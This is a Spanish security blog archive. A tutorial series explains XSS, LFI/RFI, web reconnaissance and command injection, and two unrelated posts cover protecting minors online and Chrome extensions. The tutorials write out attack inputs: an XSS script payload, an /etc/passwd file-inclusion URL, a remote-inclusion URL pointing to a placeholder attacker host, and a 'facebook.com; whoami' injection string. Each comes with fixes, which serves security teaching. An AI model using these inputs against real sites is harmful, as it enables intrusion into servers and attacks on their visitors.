Vulnerabilidades en páginas web (4): XSS o Cross-Site Scripting

Vulnerabilidades en páginas web (4): XSS o Cross-Site Scripting

En artículos anteriores hemos visto las vulnerabilidades de Command Injection, como hacer un reconocimiento a una página Web y también las técnicas LFI (Local File Inclusion) y RFI (Remote File Inclusion). Hoy es el turno de uno de los tipos de vulnerabilidades más comunes, las conocidas como XSS (Cross-Site Scripting).

Artículo elaborado por José Arroyo Viana, administrador de sistemas y experto en ciberseguridad de Extra Software

CONTENIDOS

¿QUÉ ES?

EJEMPLO DE XSS O CROSS SITE SCRIPTING REFLEJADO

EJEMPLO DE XSS O CROSS-SITE SCRIPTING PERSISTENTE

SOLUCIÓN PARA LA VULNERABILIDAD XSS

CONCLUSIÓN

¿Qué es?

Es una vulnerabilidad que permite a un atacante inyectar código JavaScript en una página de un sitio Web. Como JavaScript es un lenguaje que se ejecuta en el navegador del cliente, cuando ejecutamos este código lo estamos haciendo en el cliente del usuario. El sitio Web solo hace de herramienta para ejecutar código hacia los usuarios que navegan por él.

Hay varios tipos de vulnerabilidades XSS diferenciadas, los más conocidos son los siguientes:

  • XSS Persistente o almacenado: se almacena en la base de datos. Por lo tanto, el código que insertemos se almacenará en la base de datos o en la página, de modo que cada vez que una persona vea esa página se ejecutará el código.
  • XSS Reflejado: el código solo se ejecutará cuando el usuario objetivo ejecute una URL específica creada o escrita por el atacante. El atacante manipulará una URL que le enviará a su objetivo y cuando el objetivo ejecute o abra esa URL se le ejecutará el código.

Ejemplo de XSS o Cross Site Scripting Reflejado

Tenemos la siguiente página Web donde tenemos un cuadro de texto en el que escribimos nuestro nombre y al ejecutarlo nos aparece escrito en la página la palabra “hello” y el texto que hemos introducido en el formulario.

http://10.0.2.4/dvwa/vulnerabilities/xss_r/

Si escribimos nuestro nombre y pulsamos en Submit podemos ver el resultado:

Si vemos la URL resultante podemos comprobar que es un GET, por lo tanto, también podría ser inyectable, al igual que podría serlo el cuadro de texto:

Para comprobar si la Web puede ser vulnerable a XSS vamos a intentar ejecutar código a través del formulario. Lo vamos a hacer usando la etiqueta <script>, que indica que el contenido dentro de esta etiqueta es código JavaScript. En este caso probamos a incluir la función alert que nos muestra en un mensaje por pantalla el texto que le pasemos como parámetro. El texto que le pasamos es XSS.

El código que vamos a introducir quedará de esta forma:

<script>alert(‘XSS’)</script>

Cuando pulsamos en Submit vemos que nuestro código se ejecuta. Sabemos que la página Web es vulnerable a XSS porque está interpretando el código que le estamos pasando:

Si echamos un vistazo a la URL vemos que podemos hacer lo mismo en ella a través del parámetro “name”:

Si ahora enviamos esa URL a un tercero, se ejecutará en su navegador el código JavaScript que hayamos puesto.

Con el código del ejemplo no correríamos ningún riesgo, pero existen códigos más peligrosos. Utilizados conjuntamente con herramientas específicas, nos pueden llegar a realizar un secuestro del navegador y como resultado ser víctimas de ataques más peligrosos.

Ejemplo de XSS o Cross-Site Scripting Persistente

En el XSS almacenado o persistente el código se almacenará en la base de datos o en la página Web. Por tanto, cada vez que una persona acceda a esa página se le ejecutará el código en su navegador. Como no necesitamos interactuar con los usuarios o enviarles nada, es más peligroso que el XSS Reflejado.

Vamos a ver un ejemplo:

Esta página que se muestra aquí nos permite escribir un mensaje o una reseña que acabará reflejada en la misma página, puede ser una reseña de un producto o un mensaje en un foro:

XSS_7

Rellenamos el formulario con un simple comentario y vemos que nos lo muestra:

XSS_7

Ahora cada persona que visite esta página verá el comentario. Entonces si conseguimos insertar código JavaScript se ejecutará a cada persona que se conecte. Volvemos a rellenar el formulario pero esta vez en el cuerpo del mensaje pondremos un código JavaScript con una función alert()

XSS_7

Lo agregamos y vemos que cada vez que se visita la página se ejecuta el código:

XSS_7

Solución para la vulnerabilidad XSS

La forma en que ocurren estas vulnerabilidades es porque cada vez que un usuario ingresa algo en un cuadro de texto (textbox) o en un parámetro, esa entrada se muestra en el HTML. Dado que trata como si fuera una parte de la página, si contiene JavaScript, el código será ejecutado.

Para evitar esta vulnerabilidad, lo mejor que podemos hacer es intentar minimizar el uso de entradas no confiables. Tenemos que asegurarnos que el código que nos intenten inyectar se convierta a un equivalente de string en HTML y no se ejecute.

Un ejemplo de equivalencias a string o cadena de caracteres de algunos de los caracteres usados para inyectar código es el siguiente:

XSS_7

Como usuario, para evitar ser víctima en un ataque de tipo XSS, hay que tener cuidado de no caer en un engaño de este tipo. Si una página nos notifica que necesitamos una actualización, hay que verificar si es cierto en la página oficial del producto.

Siempre hay que tener cuidado con las notificaciones emergentes que nos dicen que tenemos que realizar acciones. Lo prudente es no confiar en ellas.

Conclusión

En el artículo hemos visto la vulnerabilidad XSS o Cross-site Scripting, que es una de las más comunes. Como hemos explicado, esta vulnerabilidad no afecta tanto a la Web o el servidor donde está alojada, sino que sirve de vínculo para llegar a los usuarios que la visitan, que son las verdaderas víctimas.

Si nos llegan a realizar un secuestro del navegador mediante esta técnica, el atacante puede usar estrategias de ingeniería social. De este modo, nos hará creer que es necesario instalar una extensión o plugin de navegador, o bien actualizar uno que haya caducado. El objetivo es instalarnos algún programa espía o software que le permita controlar nuestro equipo.

Finalmente, hemos dejado unas pautas de seguridad mínimas que se deben seguir para evitar ser víctima de este tipo de vulnerabilidades.

Vulnerabilidades en páginas Web (3): LFI y RFI

Vulnerabilidades en páginas Web (3): LFI y RFI

Siguiendo con la serie de artículos de vulnerabilidades en páginas Web, dónde ya hemos visto la vulnerabilidad de Command Injection y el Reconocimiento Web, hoy vamos a ver en qué consisten las vulnerabilidades LFI (Local File Inclusion) y RFI (Remote File Inclusion).

Artículo elaborado por José Arroyo Viana, administrador de sistemas y experto en ciberseguridad de Extra Software.

CONTENIDOS

¿QUÉ ES?

EJEMPLO DE LOCAL FILE INCLUSION

EJEMPLO DE REMOTE FILE INCLUSION

SOLUCIÓN

CONCLUSIÓN

¿Qué es?

Las vulnerabilidades LFI (Local File Inclusion o inclusión de archivos locales) son vulnerabilidades que permiten leer cualquier archivo que se encuentre dentro del mismo servidor, incluso si el archivo se encuentra fuera del directorio web donde está alojada la página.

Las vulnerabilidades RFI (Remote File Inlcusion o inclusión de archivos remotos) son similares a las vulnerabilidades LFI, pero en este caso en vez de acceder a un archivo local, accederemos a un archivo ubicado en un servidor diferente.

Vamos a ver un ejemplo de cada una de ellas para entenderlas mejor.

Ejemplo de LFI (Local File Inclusion)

Tenemos una web con una página principal llamada index.php (elaborada en PHP), que carga el contenido de otras páginas, las cuales le pasamos mediante un parámetro a la URL. La idea es que se va a mostrar por pantalla un archivo que estamos referenciando desde la variable $page que se almacenará en la variable $pagina y a la función include le pasaremos la variable $pagina para que nos la cargue y muestre por pantalla:

EjemploLFI1

A continuación, creamos las dos páginas que vamos a incluir, primero una página de inicio llamada inicio.html con el siguiente contenido:

EjemploLFI2

Y una página de contacto, llamada contacto.html, con el siguiente contenido:

EjemploLFI3

Ahora cargamos la página de inicio en nuestro navegador mediante la siguiente URL:

http://127.0.0.1/web/index.php?page=inicio.html

EjemploLFI4

Si ahora pulsamos sobre el enlace Contacto, nos carga la página contacto.html

EjemploLFI5

Si nos fijamos, nos carga la página que le pasamos como valor a la variable page. En este caso, como atacantes podemos pensar que es muy posible que esta Web sea vulnerable a LFI y podemos acceder a ficheros locales que estén fuera del directorio Web.

Por ejemplo, supongamos que hemos realizado un reconocimiento Web de la página y sabemos que el servidor donde está alojada es un equipo Linux. Nosotros sabemos que, en Linux, dentro del fichero /etc/passwd se guarda la lista de los usuarios locales del sistema. Vamos a ver qué pasa si modificamos la URL y en vez de pasarle a la variable $page los ficheros inicio.html y contacto.html, que están dentro del directorio de la Web, le pasamos el fichero del equipo /etc/passwd que está fuera de este directorio. La URL sería la siguiente:

http://127.0.0.1/web/index.php?page=/etc/passwd

Vemos como hemos conseguido cargar este fichero y por lo tanto la Web es vulnerable a LFI:

EjemploLFI6

Ejemplo de RFI (Remote File Inclusion)

En este caso la vulnerabilidad sería igual, pero cargando el fichero desde otro servidor. Esta vez la técnica se vuelve más peligrosa debido a que, como atacantes, podemos levantar un servidor Web y hacer que se ejecute en el equipo víctima un fichero que hemos alojado en este servidor, de forma que nos permita ganar acceso al equipo donde está alojada la Web.

Un ejemplo de la URL que se puede usar sería la siguiente:

http://127.0.0.1/web/index.php?page=http://direccion_equipo_atacante/fichero_malicioso

Solución

Para solucionar este tipo de vulnerabilidades nos tenemos que asegurar de que no se puedan incluir archivos remotos, esto lo podemos hacer en el servidor Web deshabilitando en el fichero de configuración de PHP llamado php.ini los parámetros allow_url_fopen y allow_url_include.

SolucionLFI1
  • allow_url_fopen: Permite tratar las URLs como archivos. Si está habilitada tendremos una vulnerabilidad LFI.
  • allow_url_include: Permite hacer llamadas include/require a URLs como archivos. Si está habilitada junto con la anterior tendremos una vulnerabilidad LFI y RFI.

También tendremos que evitar que el código pueda incluir una variable para cargar una página. El código que hemos venido usando se vería así:

SolucionLFI1

De esta manera, el usuario podrá jugar con la variable $page y cargar páginas. Lo que debemos hacer es poner en el include directamente la página que queremos cargar sin incluir una variable con GET o POST:

SolucionLFI3

En sistemas gestores de contenidos o CMS siempre es importante mantener el propio CMS y los plugins o componentes actualizados para corregir las vulnerabilidades corregidas por el fabricante.

Conclusión

Como hemos visto, tanto el LFI como el RFI son vulnerabilidades muy peligrosas que ponen en riesgo la integridad de nuestra página Web e incluso pueden llegar a comprometer por completo nuestro servidor Web. Dependiendo de donde esté alojado, pueden incluso acceder a otras redes internas que no están expuestas directamente a Internet.

Finalmente, en el apartado Solución os hemos dejado unas pautas de seguridad mínimas que se deben seguir para evitar ser víctima de este tipo de vulnerabilidades.

Vulnerabilidades en páginas Web (2): Reconocimiento Web

Vulnerabilidades en páginas Web (2): Reconocimiento Web

En el artículo anterior vimos cómo son las vulnerabilidades que aprovecha la técnica de Command Injection, en el ejemplo dijimos que el equipo donde estaba alojada la Web era un equipo Linux, pero… ¿Cómo podemos saber si el equipo donde está alojada o almacenada una Web es Linux, Windows u otro? Ahí es donde entra en juego una de las técnicas más importantes que un ciberdelicuente lleva a cabo, el Reconocimiento Web.

Artículo elaborado por José Arroyo Viana, administrador de sistemas y experto en ciberseguridad de Extra Software

CONTENIDOS

¿QUÉ ES?
EJEMPLO DE RECONOCIMIENTO WEB
RECONOCIMIENTO WEB SOBRE GESTORES DE CONTENIDOS
EJEMPLO DE RECONOCIMIENTO CON USO DE FUERZA BRUTA
SOLUCIÓN O MITIGACIÓN ANTE LAS TÉCNICAS DE RECONOCIMIENTO WEB
CONCLUSIÓN

¿Qué es?

El reconocimiento es una serie de técnicas que se realizan para recabar información sobre la víctima: página Web, sistema operativo, fuga de datos, datos públicos, etc.

Esta fase de reconocimiento es imprescindible para el atacante ya que le brinda información que le puede servir para realizar un ataque más efectivo.

En el artículo nos centraremos en el reconocimiento de la página Web.

Ejemplo de reconocimiento Web

Siguiendo con el ejemplo del artículo anterior, sabemos que nuestro objetivo tiene una página Web, en este punto al atacante le interesaría obtener información sobre la tecnología con la que se ha realizado la Web, bajo que servidor está corriendo o que lenguaje de programación se ha utilizado.

Hay herramientas que nos pueden ayudar a extraer la mayoría de la información que hemos mencionado. Una de estas herramientas es WHATWEB.

Ejecutamos la herramienta WHATWEB y vemos en la siguiente imagen la información que es capaz de obtener:

  • Servidor Web sobre el que está corriendo la página y su versión: Apache 2.2.8
  • Sistema operativo del equipo donde está almacenada la página: Linux Ubuntu
  • Versión del lenguaje de programación PHP en el que está desarrollada la página: 5.2.4
whatweb

Nosotros ahora como atacantes podríamos hacer una simple búsqueda en Google para encontrar posibles vulnerabilidades relacionadas con la información que hemos obtenido, por ejemplo, vulnerabilidades que puedan afectar al servidor Web Apache 2.2.8.

Busqueda apache

También existen plugins para el navegador que nos permiten realizar este primer reconocimiento. Uno de los más conocidos es Wappalyzer que lo podemos instalar tanto en Chrome como en Firefox. Vemos un ejemplo de la información extraida con Wappalyzer en la siguiente imagen.

 

wappalyzer

Reconocimiento Web sobre Gestores de Contenidos

Si descubrimos que nuestra Web está realizada mediante un CMS o gestor de contenidos como puede ser WordPress, Joomla o Drupal, podemos usar herramientas ya existentes para realizar una enumeración sobre ellos.

Por ejemplo, en cuanto a WordPress la herramienta más conocida es WPScan, para Joomla tenemos Joomscan y para Drupal, Drupscan.

Centrándonos en WordPress por ser el CMS más usado, la herramienta WPScan nos permitiría entre otras cosas:

  • Hacer fuerza bruta contra el login de WordPress mediante usuarios y/o contraseñas aleatorios.
  • Enumerar todos los plugins que tenga vulnerables el gestor de contenidos.
  • Enumerar los usuarios existentes.
  • Obtener información sobre la Web.

Es importante saber que, aunque el gestor de contenidos esté actualizado podemos encontrar una vulnerabilidad en alguno de los plugins instalados e igualmente comprometer la página Web.

Un ejemplo de uso de WPScan sería el siguiente:

  • wpscan –url http://www.dominio.com -e vp,u
    • Con –url le indicamos la dirección de la página Web que queremos auditar
    • Con -e le indicamos que nos enumere la información de la página, en este caso le estamos indicando que nos enumere los plugins vulnerables con vn (vulnerable plugins) y los usuarios con u (users)
ping root

Como hemos visto, cada gestor de contenidos se puede enumerar con herramientas que atienden a estos gestores de contenidos, luego también existen herramientas genéricas que nos pueden servir para enumerar cualquier página Web, como por ejemplo Nikto, que es un escáner de vulnerabilidades Web que podemos usar contra cualquier tipo de página.

Ejemplo de reconocimiento con uso de fuerza bruta

Otra táctica en la enumeración o reconocimiento de la página Web es hacer fuerza bruta sobre los archivos o directorios de la página para intentar descubrir directorios o ficheros ocultos. A esta técnica se le conoce como Fuzing

Por ejemplo, sabemos que nuestra página es accesible a través de la URL http://10.0.2.4/dvwa/, detrás de esa URL pueden existir directorios que no están enlazados desde la propia página, pero si los conoces puedas llegar a ellos.

Un ejemplo lo tenemos en las páginas realizadas con WordPress que tienen un directorio para acceder al panel de administración de la página localizado en http://www.dominio.com/wp-admin/.

Para intentar descubrir estos directorios ocultos se utiliza un fichero llamado comúnmente diccionario, donde por cada línea hay una serie de nombres de directorios que les podemos pasar a una herramienta o incluso a un script hecho por nosotros y que vaya probando si existen cada uno de esos directorios y que nos reporte por pantalla o en un fichero los que encuentre.

Por ejemplo, tenemos un diccionario con 220.560 nombres de directorio, un ejemplo de una parte del diccionario sería el siguiente:

ping for free whoami
Le pasamos este diccionario a una herramienta que irá probando cada una de estas palabras detrás de la URL y nos indicará si existe el directorio o fichero. La consultará será de la siguiente forma: http://10.0.2.4/dvwa/palabra_del_diccionario.

Podemos ver como se han descubierto varios directorios o ficheros que pueden tener información sensible o acceso hasta una zona privada.

En el ejemplo hemos usado la herramienta WFUZZ, esta herramienta nos permite realizar el descubrimiento de ficheros o directorios ocultos (entre otras cosas) en la Web objetivo

Solución o mitigación ante las técnicas de reconocimiento Web

Hay distintas técnicas que podemos usar para ocultar la información que puede mostrar nuestra página Web, tanto del servidor que estemos usando como de las tecnologías que usamos para crearla. En los distintos gestores de contenidos también nos encontramos plugins o componentes que realizan esta función de ocultamiento.

Aunque tenemos que intentar mostrar la menor información posible, la única solución válida para evitar que nuestra web sea comprometida es tener todos los sistemas, servicios y componentes actualizados a la última versión. Si lo que tenemos es un CMS, no añadir ningún plugin que no sea completamente necesario, no instalar aquellos que no provengan de fuentes oficiales o que no tengan una política de actualizaciones frecuente. No importa si nuestro WordPress está actualizado a la última versión, si luego tenemos un plugin que no está actualizado y tiene alguna vulnerabilidad que pueda ser aprovechada.

También debemos asegurarnos que tanto la información privada como los accesos a paneles de información estén debidamente protegidos. Si es posible que los paneles de login para la administración de la Web no sean accesibles directamente.

Conclusión

Como hemos visto, existen varias técnicas de reconocimiento Web primero nos hemos centrado en las versiones tanto del servidor como de las tecnologías usadas para su desarrollo y posteriormente en recabar datos ocultos de la página. Todas estas técnicas son usadas por los atacantes en las fases previas de un ataque, la información recopilada aquí le será imprescindible para las fases posteriores del ataque y para conocer a la compañía.

En próximas publicaciones, veremos más ejemplos de técnicas en las que los atacantes utilizan vulnerabilidades en las paginas web a su favor y cómo protegernos de ellas.

Vulnerabilidades en páginas Web (1): Command Injection

Vulnerabilidades en páginas Web (1): Command Injection

Este artículo forma parte de una serie donde veremos distintas vulnerabilidades que nos podemos encontrar en nuestra página Web. Vamos a ver como un ciberdelincuente es capaz de explotarlas y conseguir su objetivo y también veremos unas pautas que podemos seguir para corregir la vulnerabilidad. En esta ocasión vamos a ver en qué consisten las vulnerabilidades de ejecución de código o ejecución de comandos a través de páginas Web, más conocidas como Command Injection.

Artículo elaborado por José Arroyo Viana, administrador de sistemas y experto en ciberseguridad de Extra Software.

¿Qué es?

Las vulnerabilidades de Command Injection permiten ejecutar código arbitrario o no controlado por el desarrollador en el sistema operativo donde está almacenada la Web.

Ejemplo de Command Injection

A continuación, vamos a ver paso a paso cómo hacernos con el servidor que está detrás de una página web publicada aprovechando uno de los servicios que da.

En ocasiones hay Webs que permiten ejecutar un comando o una herramienta a través de ellas. Por ejemplo, nos encontramos con la siguiente web que permite hacer un ping a la dirección que pongamos en el recuadro de texto del formulario.

ping for free

La herramienta Ping nos permite, indicando una dirección IP o un nombre de dominio como Facebook.com, saber si es accesible o no. Esto lo hace enviando un paquete de información desde el equipo origen mediante el protocolo ICMP y espera una contestación del equipo destino.

Si nosotros ponemos el dominio Facebook.com en el recuadro y pulsamos en el botón de enviar (submit). Vemos que se envían una serie de paquetes y se obtiene una respuesta

ping for free 2

Este comando realmente se está ejecutando en el equipo donde está almacenada la página Web, nosotros sabemos previamente que la Web está almacenada en un equipo Linux y que la salida del comando ping que se ha ejecutado corresponde con la salida que se espera obtener en un equipo Linux. Hacemos la misma prueba y verificamos que es la misma salida. Por lo tanto, el formulario web le está pasando al comando ping lo que nosotros pongamos en el campo de texto, en este caso facebook.com.

Ping a Facebook

Sabemos que en Linux podemos concatenar varios comandos separándolos por punto y coma (;). Por lo tanto, si a la misma línea del comando ping anterior le añadimos un comando que nos identifique el usuario con el que se está interactuando en la consola nos mostrará la salida de los dos comandos. En este caso el comando que podemos usar es whoami.

Vemos que después de la salida del comando ping nos muestra la salida del comando whoami que es root (Es decir, root es el usuario superadministrador de Linux y con el que estoy ejecutando estos comandos)

ping root

Siguiendo este mismo proceso y sabiendo que la Web está ejecutando el comando Ping y coge el valor que le pasemos nosotros mediante el formulario de texto, intentamos hacer la misma concatenación de comandos que habíamos probado en la máquina Linux. Le pasamos primero el dominio Facebook.com como valor del comando ping, seguido del punto y coma (;) y el comando whoami:

 

ping for free whoami

Si esto lo ejecutamos, podemos ver que nos muestra el usuario que está ejecutando los comandos a través del servicio Web, que es www-data

 

En este momento sabemos que la página Web es vulnerable a una ejecución de comandos. Podemos ejecutar cualquier comando después del ping y nos lo va a ejecutar en el servidor web que aloja la página. Los ciberdelincuentes pueden utilizar esta vulnerabilidad para ganar acceso a la máquina donde está alojada la Web o modificar la Web en su propio beneficio.

Una vez que tengan acceso a la máquina pueden intentar acceder a otras máquinas dentro de la misma red o pivotar hacía otras redes internas a las que desde el exterior no se tenga acceso.

Una vez que se tenga ejecución de comandos, básicamente el servidor está comprometido al 100%

Solución para el Command Injection

Hay que evitar el uso de funciones o el paso de valores a las funciones que permitan a un usuario ejecutar código en el servidor.

En el ejemplo que hemos visto seguramente el comando se guarde en una variable tipo $comando y luego se imprime por pantalla su valor.

Esto no se debería hacer así, tenemos que verificar que la entrada es lo que se espera. En este caso se espera una dirección IP y nada más. Por lo que podemos usar expresiones regulares para validar el valor a introducir. Por ejemplo, podríamos validar que solo acepte 4 dígitos separamos por un punto, que no acepte punto y coma (;), que no acepte otros valores de concatenación como & o | y que no acepte espacios. Otra forma es crear una expresión regular únicamente con los valores válidos a introducir.

Esto son formas de hacerlo más seguras, pero lo mejor es evitar este tipo de funciones.

Las vulnerabilidades de este tipo se pueden dar también en los gestores de contenidos CMS, a veces son desconocidos incluso por el propio fabricante (vulnerabilidades Zero Day). Por tanto, es importante, cuanto menos, mantener el propio CMS y los plugins o componentes actualizados para corregir las vulnerabilidades que ya ha conseguido corregir el fabricante.

En este artículo hemos explicado cómo funciona el ataque llamado Command Injection o ejecución de código. Es el primero de una serie sobre vulnerabilidades en las páginas web, que continuaremos el mes que viene con la técnica del Reconocimiento Web. Esperamos seguir contando con tu interés.

¿Cómo proteger a los menores del acoso en redes sociales?

¿Cómo proteger a los menores del acoso en redes sociales?

Cada vez más, la seguridad de los menores en las redes sociales está en peligro por malas prácticas como el sexting o el stalking (luego veremos en qué consisten). En concreto, los adolescentes son un blanco fácil al acceder ya a dispositivos electrónicos con internet, tener una autoestima frágil y dar mucha importancia a la reputación social. Junto a conductas claramente de riesgo como las mencionadas, hay otras aparentemente más inocentes como compartir información personal o no usar buenas prácticas de contraseñas, que pueden provocar ciberdelitos. Te contamos cómo proteger a los menores del acoso en redes sociales e internet.

Partimos de una evidencia: la mayoría de los adolescentes, e incluso los pre-adolescentes, disponen actualmente de teléfono móvil en España. Además, si bien la normativa europea RGPD, permite establecer entre los 13 y los 16 años la edad para dar el consentimiento de uso de datos personales, en España está fijada desde 2018 en los 14 años. Para edades inferiores, son los padres los que tienen que dar el consentimiento en su nombre. Por tanto, salvo alguna excepción (como LinkedIn o WhatsApp, que establecen el límite en los 16 años –en la segunda no se respeta mucho-), los adolescentes pueden darse de alta en redes sociales libremente desde los 14 años. Esto quiere decir que están expuestos a riesgos altos, dado que en estas redes se comparte información personal –cuando no sensible- con relativa frecuencia.

Los casos más graves de acoso en redes sociales

El sexting consiste en enviar fotos, vídeos o mensajes de contenido sexual o erótico personal a través de redes de mensajería instantánea o redes sociales. El sexting no es constitutivo de delito en sí mismo, pero sí el reenvío de esa información sin consentimiento.

sexting

El sexting es una práctica muy peligrosa para los adolescentes

El stalking consiste en realizar acciones aparentemente legales (llamadas, envío de regalos de algún tipo, mensajes de texto, correos, imágenes o vídeos) pero que son indeseadas por la víctima, y hacerlo repetidas veces. El hecho de que sea indeseado y que se repita, hace que constituya acoso.

Un caso específico es el cyberbulling, un acoso entre iguales en el entorno tecnologías de la comunicación (abarcando también las redes sociales), e incluye actuaciones de chantaje, vejaciones e insultos de menores de edad a otros menores.

El grooming es la simulación por parte de un adulto para que un menor le perciba como otro menor para obtener de él información personal sensible o aquella que permita una acción delictiva.

Este tipo de acciones son cuanto menos peligrosas para el menor y en su mayoría dañinas, por lo que deben evitarse con una adecuada formación y acompañándoles en el uso que hace de las redes sociales. Debemos tener en cuenta que las medidas de control que vamos a ver a continuación no impiden nunca del todo el peligro, y lo más importante es que el menor sepa diferenciar lo que va a suponer un riesgo para él y actuar adecuadamente en esas situaciones.

Recomendaciones de ciberseguridad para padres y tutores

Los padres y tutores son los primeros que deben tener claro las medidas de ciberseguridad básicas que deben adoptar. Entre las medidas de control para evitar el acoso en redes sociales.

  • Los dispositivos que no sean de uso para menores deben tener contraseña cifrada. Los recursos que se encuentren en ordenadores compartidos a los que no deban acceder menores deben estar protegidos por un doble factor de autenticación.
  • Los dispositivos que sean de uso para menores no deben tener preinstaladas aplicaciones o apps que ellos no deban usar. Debemos tener en cuenta que, en el caso de las redes sociales, aunque las compañías establezcan una edad mínima para darse de alta una cuenta, en la mayoría de los casos no establecen ninguna medida para comprobar si el usuario es un menor. Si este decide falsear los datos, podrá darse de alta igualmente.
  • Los adultos deben ajustar también en los dispositivos de los menores las opciones de control parental de los navegadores y configurar las opciones de los buscadores que restringen resultados para adultos.
  • En los dispositivos móviles, son muy recomendables funciones como el “Modo Niños”. Estas funciones restringen mediante control parental el tiempo de juego diario o las aplicaciones y contactos a los que los niños pueden acceder.

No debemos dejar nuestro móvil a un menor sin prestar atención a lo que hace en él

Las medidas que padres y tutores pueden adoptar a nivel formativo son:

  • Mostrar su disponibilidad para los menores para hablar en todo momento y estar alerta ante cualquier comportamiento fuera de lo común de los mismos, que podría evidenciar que están siendo acosados o extorsionados.
  • Facilitar el acceso de los menores a foros saludables en que puedan compartir sus problemas y recibir orientación sobre cómo comportarse.
  • Proporcionar a los menores las orientaciones de ciberseguridad que damos en el punto siguiente.

Orientaciones de ciberseguridad para menores

El objetivo más vulnerable para crackers (hackers con métodos y/o fines ilegales) y acosadores son aquellas personas con menos formación y experiencia. Los menores suelen coincidir con ese perfil, así que hay que evitar al máximo que cometan errores y acaben sufriendo acoso en redes sociales. Para ello:

  • Los menores no deben utilizar nunca libremente los dispositivos de sus padres, salvo que se haya habilitado el “Modo niños” o similar.
  • Debemos explicar al menor la diferencia entre un ámbito privado y uno público, y dejarles claro que la mayoría de la información que se comparte en una red social es por defecto pública.
  • Debemos adelantarnos y ser nosotros mismos los que les ayudemos a configurar las opciones de privacidad de sus redes sociales, o explicarles, si tienen edad suficiente, cómo deben hacerlo y por qué.
Configuración privacidad facebook

Opciones de privacidad en Facebook: Es importante restringir aquí cómo podrán contactar con los menores desde esta red.

  • Se les debe dejar claro qué información personal en ningún momento deben compartir en redes sociales con alguien cuya identidad no esté clara, y por supuesto nunca en un mensaje público: el teléfono, la dirección de casa, la localización, fotografías del hogar, o comunicar que se va a estar un periodo de tiempo definido ausente del domicilio (por vacaciones, por ejemplo).
  • Se les debe dejar claro qué información no debe compartirse nunca con nadie, incluso aunque sean amigos o personas conocidas: fotografías comprometidas de ellos mismos u otras personas, contraseñas de servicios o aplicaciones o información bancaria (si bien esta última es raramente accesible a los menores).

Concluiremos recordando que el hecho de que se adopten todas estas medidas no garantiza la seguridad de menor, solo la favorecen. Cuando un menor tiene un dispositivo con acceso a internet, su situación debe considerarse por defecto vulnerable a convertirse en víctima de adultos u otros menores malintencionados. Debemos estar alerta siempre ante la posibilidad de que sufran acoso en redes sociales y otros ámbitos de la red.

Las 10 mejores extensiones de Chrome para una navegación segura

Las 10 mejores extensiones de Chrome para una navegación segura

Chrome es el navegador más popular hoy en día, millones de personas lo usan alrededor del mundo para sus actividades en línea. Es de vital importancia dotarlo con varias capas de seguridad si queremos mantener nuestro historial e información de navegación seguros. Es por eso que hoy te contamos cuáles son las extensiones de Chrome que volverán tu navegación segura y mucho más fácil. Encontramos desde VPN confiables y bloqueadores de anuncios hasta administradores de cookies.

Esta selección está basada en las extensiones mejor calificadas de su categoría. Quédate con nosotros y conoce cuáles son.

1. CyberGhost VPN Free Proxy

Las redes virtuales privadas son de las mejores herramientas para ingresar a los sitios web que tu país no están disponibles. Además, te protegen tanto contra atacantes y rastreadores, como de la minería de datos y son geniales para oculta la dirección IP real. El cifrado de conexión es muy seguro y esta extensión es de las mejores valoradas en cuanto a temas de seguridad en línea.

2. Hotspot Shield VPN Free Proxy

Hotspot Shield es una extensión que viene en versión gratuita y de pago, que es capaz de darte todos los beneficios que una VPN te brinda. Evita el robo de tus datos, encriptando la actividad y el historial de navegación y además te protege de los sitios catalogados como no deseados.

Es posible que no sepas cómo configurar alguna de estas redes virtuales, sin embargo puede ser más fácil a través de la VPN mejor calificada, revísala y resguarda tu información.

3. Ghostery

Esta extensión es de las más usadas por los internautas, ya que bloquea las aplicaciones de terceros que están diseñadas para rastrear tu información. También funciona como un bloqueador de anuncios y te proporciona una navegación segura rápida y limpia.

Lo mejor es que al ingresar en un sitio web te avisa la cantidad de rastreadores que tiene la página. Al bloquear los rastreadores permite que la velocidad de carga sea más rápida.

4. minerBlock

La minería utiliza el poder del procesador de tu ordenador sin tu consentimiento para la extracción de criptomonedas. La extensión minerBlock se encarga de detener a los mineros bloqueando los scripts y las solicitudes al detectar comportamientos sospechosos de los scripts cargados. Esta los elimina de manera inmediata.

5. Privacy Badger

Es un práctico complemento de este navegador que bloquea los anunciantes y rastreadores para que no sepan qué páginas web visitas. Siempre que detecta qué anunciante te está rastreando sin permiso, los bloquea y no permite que inserte más de su contenido durante tu navegación.

No es un bloqueador de anuncios común, pues su trabajo es realmente bloquear por completo los anuncios. Este al detectar imágenes, secuencias de comandos que rastreen tu actividad sin tu permiso, los bloquea de manera automática y te permite una navegación segura.

Chrome Extensions

6. uBlock Origin

Si estás cansado de los anuncios y realmente quieres hacerlos desaparecer todos, esta es la extensión de Chrome que se encarga de hacerlo. Eso sí, ten en cuenta que bloquea todos ellos.

7. HTTPS Everywhere

Esta extensión funciona básicamente cambiando los sitios web “HTTP” por unos “HTTPS”. Esto es así porque los primeros son vulnerables a amenazas y más cuando se ingresa a ellos desde redes públicas. Es aquí donde el robo de información privada sucede con más frecuencia.

Uno de los problemas comunes de los HTTPS es que los sitios web no ofrecen soporte cifrado a través de estos, lo que dificulta su uso. La extensión resuelve este problema reescribiendo las solicitudes en los sitios.

8. LastPass

Este práctico complemento almacena las contraseñas de tus sitios web para que no tengas que recordarlas todas. Además, te permite crear contraseñas seguras para todos tus sitios y lo mejor es que con tan solo una clave maestra podrás acceder al resto de las contraseñas.

Utiliza cifrado y algoritmos sólidos para que terceros no accedan a tus datos. También cuenta con autenticación de dos factores para agregar todavía más seguridad a tu información.

9. Vanilla Cookie Manager

Es posible que en primera instancia las cookies sean inofensivas, pues estas solo son información guardada en un directorio. Sin embargo, esta información se puede almacenar y sobre todo da pistas sobre tu actividad en línea.

Vanilla Cookie Manager te permite administrar tus cookies, eliminando las no deseadas. De esta forma solo se almacenan en tu navegador aquellas que te gustaría conservar, sobre todo si son de sitios web confiables para una navegación segura.

10. Burner Emails: Easy, Fast, Disposable Emails

Si eres de los que te registras una sola vez en la vida en un sitio web solo para descargar un contenido, entonces esta extensión es para ti. Este complemento básicamente crea direcciones de correos electrónicos desechables para que puedas registrarte en sitios web sin dar tu correo real.

De esta manera, no solo proteges tu email del spam, sino de correos fraudulentos, robo de identidad, etc. Tiene una versión gratuita y una de pago. Podrás gestionar con ella los correos que quieres recibir de determinados sitios web y lo que no también.

¿Son seguras de usar las extensiones de Chrome?

Generalmente las extensiones de Chrome son seleccionadas con cuidado, sin embargo, todavía existe la posibilidad de que alguna de ellas comprometa la seguridad y privacidad de tu información. Para escoger las que no impidan una navegación segura ten en cuenta lo siguiente:

